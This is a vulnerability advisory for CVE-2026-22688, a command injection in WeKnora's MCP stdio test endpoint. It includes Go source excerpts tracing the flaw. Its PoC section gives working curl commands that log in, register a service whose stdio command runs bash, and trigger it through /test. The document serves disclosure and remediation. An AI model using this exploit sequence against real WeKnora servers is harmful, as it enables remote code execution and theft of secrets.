CVE-2026-22688: WeKnora has Command Injection in MCP stdio test

Vulnerability Description

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Vulnerability Overview

This issue is a command injection vulnerability (CWE-78) that allows authenticated users to inject stdioconfig.command/args into MCP stdio settings, causing the server to execute subprocesses using these injected values.

The root causes are as follows:

- Missing Security Filtering: When transporttype=stdio, there is no validation on stdioconfig.command/args, such as allowlisting, enforcing fixed paths/binaries, or blocking dangerous options. - Functional Flaw (Trust Boundary Violation): The command/args stored as "service configuration data" are directly used in the /test execution flow and connected to execution sinks without validation. - Lack of Authorization Control: This functionality effectively allows "process execution on the server" (an administrative operation), yet no administrator-only permission checks are implemented in the code (accessible with Bearer authentication only).

Vulnerable Code

1. API Route Registration (path where endpoints are created) https://github.com/Tencent/WeKnora/blob/6b7558c5592828380939af18240a4cef67a2cbfc/internal/router/router.go#L85-L110 https://github.com/Tencent/WeKnora/blob/6b7558c5592828380939af18240a4cef67a2cbfc/internal/router/router.go#L371-L390 go // 认证中间件 r.Use(middleware.Auth(params.TenantService, params.UserService, params.Config)) // 添加OpenTelemetry追踪中间件 r.Use(middleware.TracingMiddleware()) // 需要认证的API路由 v1 := r.Group("/api/v1") { RegisterAuthRoutes(v1, params.AuthHandler) RegisterTenantRoutes(v1, params.TenantHandler) RegisterKnowledgeBaseRoutes(v1, params.KBHandler) RegisterKnowledgeTagRoutes(v1, params.TagHandler) RegisterKnowledgeRoutes(v1, params.KnowledgeHandler) RegisterFAQRoutes(v1, params.FAQHandler) RegisterChunkRoutes(v1, params.ChunkHandler) RegisterSessionRoutes(v1, params.SessionHandler) RegisterChatRoutes(v1, params.SessionHandler) RegisterMessageRoutes(v1, params.MessageHandler) RegisterModelRoutes(v1, params.ModelHandler) RegisterEvaluationRoutes(v1, params.EvaluationHandler) RegisterInitializationRoutes(v1, params.InitializationHandler) RegisterSystemRoutes(v1, params.SystemHandler) RegisterMCPServiceRoutes(v1, params.MCPServiceHandler) RegisterWebSearchRoutes(v1, params.WebSearchHandler) } go func RegisterMCPServiceRoutes(r gin.RouterGroup, handler handler.MCPServiceHandler) { mcpServices := r.Group("/mcp-services") { // Create MCP service mcpServices.POST("", handler.CreateMCPService) // List MCP services mcpServices.GET("", handler.ListMCPServices) // Get MCP service by ID mcpServices.GET("/:id", handler.GetMCPService) // Update MCP service mcpServices.PUT("/:id", handler.UpdateMCPService) // Delete MCP service mcpServices.DELETE("/:id", handler.DeleteMCPService) // Test MCP service connection mcpServices.POST("/:id/test", handler.TestMCPService) // Get MCP service tools mcpServices.GET("/:id/tools", handler.GetMCPServiceTools) // Get MCP service resources mcpServices.GET("/:id/resources", handler.GetMCPServiceResources) } 2. User input (JSON) → types.MCPService binding (POST /api/v1/mcp-services) https://github.com/Tencent/WeKnora/blob/6b7558c5592828380939af18240a4cef67a2cbfc/internal/handler/mcpservice.go#L40-L55 go var service types.MCPService if err := c.ShouldBindJSON(&service); err != nil { logger.Error(ctx, "Failed to parse MCP service request", err) c.Error(errors.NewBadRequestError(err.Error())) return } tenantID := c.GetUint64(types.TenantIDContextKey.String()) if tenantID == 0 { logger.Error(ctx, "Tenant ID is empty") c.Error(errors.NewBadRequestError("Tenant ID cannot be empty")) return } service.TenantID = tenantID if err := h.mcpServiceService.CreateMCPService(ctx, &service); err != nil { 3. Taint propagation (storage): The bound service object is stored directly in the database without sanitization. https://github.com/Tencent/WeKnora/blob/6b7558c5592828380939af18240a4cef67a2cbfc/internal/application/repository/mcpservice.go#L23-L25 go func (r mcpServiceRepository) Create(ctx context.Context, service types.MCPService) error { return r.db.WithContext(ctx).Create(service).Error } 4. Sink execution: /test endpoint loads the service from the database → executes TestMCPService https://github.com/Tencent/WeKnora/blob/6b7558c5592828380939af18240a4cef67a2cbfc/internal/handler/mcpservice.go#L323-L325 https://github.com/Tencent/WeKnora/blob/6b7558c5592828380939af18240a4cef67a2cbfc/internal/application/service/mcpservice.go#L238-L264 go logger.Infof(ctx, "Testing MCP service: %s", secutils.SanitizeForLog(serviceID)) result, err := h.mcpServiceService.TestMCPService(ctx, tenantID, serviceID) go service, err := s.mcpServiceRepo.GetByID(ctx, tenantID, id) if err != nil { return nil, fmt.Errorf("failed to get MCP service: %w", err) } if service == nil { return nil, fmt.Errorf("MCP service not found") } // Create temporary client for testing config := &mcp.ClientConfig{ Service: service, } client, err := mcp.NewMCPClient(config) if err != nil { return &types.MCPTestResult{ Success: false, Message: fmt.Sprintf("Failed to create client: %v", err), }, nil } // Connect testCtx, cancel := context.WithTimeout(ctx, 30time.Second) defer cancel() if err := client.Connect(testCtx); err != nil { return &types.MCPTestResult{ 5. Ultimate sink (subprocess execution): The command/args values from stdio configuration are directly used in the subprocess execution path. https://github.com/Tencent/WeKnora/blob/6b7558c5592828380939af18240a4cef67a2cbfc/internal/mcp/client.go#L120-L137 https://github.com/Tencent/WeKnora/blob/6b7558c5592828380939af18240a4cef67a2cbfc/internal/mcp/client.go#L158-L160 go case types.MCPTransportStdio: if config.Service.StdioConfig == nil { return nil, fmt.Errorf("stdioconfig is required for stdio transport") } // Convert env vars map to []string format (KEY=value) envVars := make([]string, 0, len(config.Service.EnvVars)) for key, value := range config.Service.EnvVars { envVars = append(envVars, fmt.Sprintf("%s=%s", key, value)) } // Create stdio client with options // NewStdioMCPClientWithOptions(command string, env []string, args []string, opts ...transport.StdioOption) mcpClient, err = client.NewStdioMCPClientWithOptions( config.Service.StdioConfig.Command, envVars, config.Service.StdioConfig.Args, ) go if err := c.client.Start(ctx); err != nil { return fmt.Errorf("failed to start client: %w", err) }

PoC

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PoC Description - Obtain an authentication token. - Create an MCP service with transporttype=stdio, injecting the command to execute into stdioconfig.command/args. - Call the /test endpoint to trigger the Connect() → Start() execution flow, confirming command execution on the server via side effects (e.g., file creation).

PoC - Container state verification (pre-exploitation) bash docker exec -it WeKnora-app /bin/bash cd /tmp/; ls -l <img width="798" height="78" alt="image" src="https://github.com/user-attachments/assets/3e387e39-cd80-4e30-ba23-3db9ff879209" /> - Authenticate via /api/v1/auth/login to obtain a Bearer token for API calls. bash API="http://localhost:8080" EMAIL="admin@gmail.com" PASS="admin123" TOKEN="$(curl -sS -X POST "$API/api/v1/auth/login" \ -H "Content-Type: application/json" \ -d "{\"email\":\"$EMAIL\",\"password\":\"$PASS\"}" | jq -r '.token // empty')" echo "TOKEN=$TOKEN" <img width="760" height="73" alt="image" src="https://github.com/user-attachments/assets/4e588f20-9371-4dc3-b585-def2cd752497" /> <img width="1679" height="193" alt="image" src="https://github.com/user-attachments/assets/a372981c-dc4c-40e9-a9af-4d27fd36251a" /> - POST to /api/v1/mcp-services with transporttype=stdio and stdioconfig to define the command and arguments to be executed on the server. bash CREATERES="$(curl -sS -X POST "$API/api/v1/mcp-services" \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{ "name":"rce", "description":"rce", "enabled":true, "transporttype":"stdio", "stdioconfig":{"command":"bash","args":["-lc","id > /tmp/RCEok.txt && uname -a >> /tmp/RCEok.txt"]}, "envvars":{} }')" MCPID="$(echo "$CREATERES" | jq -r '.data.id // empty')" echo "MCPID=$MCPID" <img width="1296" height="354" alt="image" src="https://github.com/user-attachments/assets/d109dd4e-d051-46e3-bdcc-4d1a181d1635" /> - Invoke /api/v1/mcp-services/{id}/test to trigger Connect(), causing execution of the stdio subprocess. bash curl -sS -X POST "$API/api/v1/mcp-services/$MCPID/test" \ -H "Authorization: Bearer $TOKEN" | jq . <img width="1270" height="217" alt="image" src="https://github.com/user-attachments/assets/2723ef39-f6b8-4478-b60e-5b6a4e667a1e" /> - Post-exploitation verification (container state) bash ls -l <img width="1243" height="221" alt="image" src="https://github.com/user-attachments/assets/5f78f83a-64e2-4a0a-95c4-6832f606fbcd" />

Impact

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- Remote Code Execution (RCE): Arbitrary command execution enables file creation/modification, execution of additional payloads, and service disruption - Information Disclosure: Sensitive data exfiltration through reading environment variables, configuration files, keys, tokens, and local files - Privilege Escalation/Lateral Movement (Environment-Dependent): Impact may escalate based on container mounts, network policies, and internal service access permissions - Cross-Tenant Boundary Impact: Execution occurs in a shared backend runtime; depending on deployment configuration, impact may extend beyond tenant boundaries (exact scope is uncertain and varies by deployment setup)